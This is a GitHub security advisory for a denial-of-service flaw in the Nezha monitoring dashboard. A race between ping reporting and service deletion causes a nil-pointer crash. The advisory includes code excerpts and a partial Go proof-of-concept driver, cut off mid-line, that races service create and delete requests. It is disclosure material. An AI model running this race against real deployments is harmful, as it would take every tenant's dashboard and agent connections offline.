GitHub Advisoryadvisory · Go
GHSA-qjpp-gffx-2wm9 Nezha Monitoring: Whole-instance DoS in Nezha dashboard: a member can crash the process for every tenant
MEDIUM
Official page ↗
- Aliases
- CVE-2026-100394
- Ecosystem
- Go
- Packages
- github.com/nezhahq/nezha
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-362, CWE-476
- Reviewed
- 2026-10-15
Affected packages
• Go github.com/nezhahq/nezha: >= 0.0.0-20260628010923-fd31e5f1b0f8, < 0.0.0-20260721131105-c893aa57867d → fixed in 0.0.0-20260721131105-c893aa57867d
Description
Summary
A single low-privilege `RoleMember` can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at `service/singleton/servicesentinel.go:601`. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified.
Affected versions
Confirmed in `v2.2.7` through `v2.2.10`. `service/singleton/servicesentinel.go` has the same vulnerable implementation in all four releases. The issue is fixed in `v2.2.11` and later; users should upgrade to the latest release, `v2.3.0`.
The bug
The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker.
The maps hold pointers, so a missing key returns nil and the first field write through it panics:
```
73: serviceStatusToday map[uint64]*_TodayStatsOfService
74: serviceCurrentStatusData map[uint64]*serviceTaskStatus
```
The worker checks presence via `Get`, which takes `servicesLock` and releases it. `canReportServiceResult` rejects a nil service here, so at this point the service is known to exist:
```
532: cs, _ := ss.Get(r.Data.GetId()) // servicesLock.RLock / RUnlock
535: if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue }
```
For TCP/ICMP ping results, every `AvgPingCount` (default 2, TSDB off) the worker does a synchronous `DB.Create` at `:569` holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a *different* lock and dereferences the maps with no recheck and no lazy create:
```
597: ss.serviceResponseDataStoreLock.Lock()
600: ss.serviceStatusToday[mh.GetId()].Delay = ... // nil deref if deleted meanwhile
609: ss.serviceCurrentStatusData[mh.GetId()].t ... // same hazard
```
Meanwhile `Delete` removes both entries under `serviceResponseDataStoreLock`, running on the HTTP-handler goroutine, a different goroutine from the single worker:
```
378: func (ss *ServiceSentinel) Delete(ids []uint64) {
387: delete(ss.serviceCurrentStatusData, id)
390: delete(ss.serviceStatusToday, id)
```
The precise point: the check reads the `services` map under `servicesLock`; the write touches `serviceStatusToday` under `serviceResponseDataStoreLock`. Holding the second lock at `:600` proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so `-race` reports nothing; the staleness lives across the two locks, not inside one memory location.
Two supporting facts. The ping map a few lines up self-heals on a miss (`:543`), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (`cmd/dashboard/rpc/rpc.go:37`), no recovery, so the worker panic is fatal to the whole process rather than a dropped request.
Reachability
Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over `POST /api/v1/service` and `POST /api/v1/batch-delete/service`, which pass `CheckPermission` for an owned service. No admin rights, no other tenant involved. `batchDeleteService` reaches `ServiceSentinel.Delete` synchronously on a separate goroutine from the worker, so the two interleave freely.
Code flow
```
member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing}
-> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...})
-> serviceReportChannel -> single worker goroutine:
Get(id) [servicesLock] present ......+ batchDeleteService (CheckPermission: own OK)
| -> ServiceSentinel.Delete([id]) (synchronous)
| [serviceResponseDataStoreLock] delete(serviceStatusToday,id)
serviceResponseDataStoreLock.Lock() nil deref -> SIGSEGV (:600)
```
Proof of concept
Environment: dashboard built from `fd31e5f1` on go1.26.4, SQLite, bound to `127.0.0.1:8008`, with `avg_ping_count: 2` and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing.
The driver
Placed at `cmd/pocdos/main.go` inside a checkout of the target repo (so the `github.com/nezhahq/nezha/proto` import resolves), built with `go build ./cmd/pocdos`.
```go
import (
"bytes"
"context"
"crypto/tls"
"flag"
"fmt"
"io"
"log"
"math/rand"
"net/http"
"os"
"sync"
"sync/atomic"
"time"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
"google.golang.org/grpc/metadata"
pb "github.com/nezhahq/nezha/proto"
)
var (
grpcAddr = flag.String("grpc", "127.0.0.1:8008", "")
baseURL = flag.String("url", "http://127.0.0.1:8008", "")
secret = flag.String("secret", "", "m1 agent secret")
uuid = flag.String("uuid", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "")
token = flag.String("token", "", "m1 jwt")
csrf = flag.String("csrf", "", "m1 csrf")
dur = flag.Duration("dur", 90*time.Second, "")
churn = flag.Int("churn", 16, "concurrent create/delete workers")
)
var httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}}
func req(method, path string, body []byte) ([]byte, int) {
r, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body))
r.Header.Set("Content-Type", "application/json")
r.Header.Set("Authorization", "Bearer "+*token)
r.Header.Set("X-CSRF-Token", *csrf)
r.AddCookie(&http.Cookie{Name: "nz-csrf", Value: *csrf})
r.AddCookie(&http.Cookie{Name: "nz-jwt", Value: *token})
resp, err := httpc.Do(r)
if err != nil {
return []byte(err.Error()), 0
}
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
return b, resp.StatusCode
}
func createSvc() (uint64, bool) {
b, _ := req("POST", "/api/v1/service", []byte(`{"name":"p","target":"127.0.0.1:8008","type":3,"cover":0,"duration":30}`))
var id uint64
if n, _ := fmt.Sscanf(string(b), `{"success":true,"data":%d}`, &id); n == 1 {
return id, true
}
return 0, false
}
func deleteSvc(id uint64) {
req("POST", "/api/v1/batch-delete/service", []byte(fmt.Sprintf("[%d]", id)))
}
func main() {
flag.Parse()
rand.Seed(time.Now().UnixNano())
conn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
log.Fatal(err)
}
cli := pb.NewNezhaServiceClient(conn)
authCtx := func(ctx context.Context) context.Context {
return metadata.AppendToOutgoingContext(ctx, "client_uuid", *uuid, "client_secret", *secret)
}
// 1) register a server owned by m1
if _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: "poc", Arch: "poc"}); err != nil {
log.Fatalf("register(R…
Related
Alias · CVE (1)
- CVE-2026-100394 Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. vulnerability
References
- https://github.com/nezhahq/nezha/security/advisories/GHSA-qjpp-gffx-2wm9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-100394 advisory
- https://github.com/nezhahq/nezha/commit/c893aa57867d8a3d608e2f2f16d1594c9766cdf3 web
- https://github.com/nezhahq/nezha package
- https://github.com/nezhahq/nezha/releases/tag/v2.2.11 web
- https://github.com/nezhahq/nezha/releases/tag/v2.3.0 web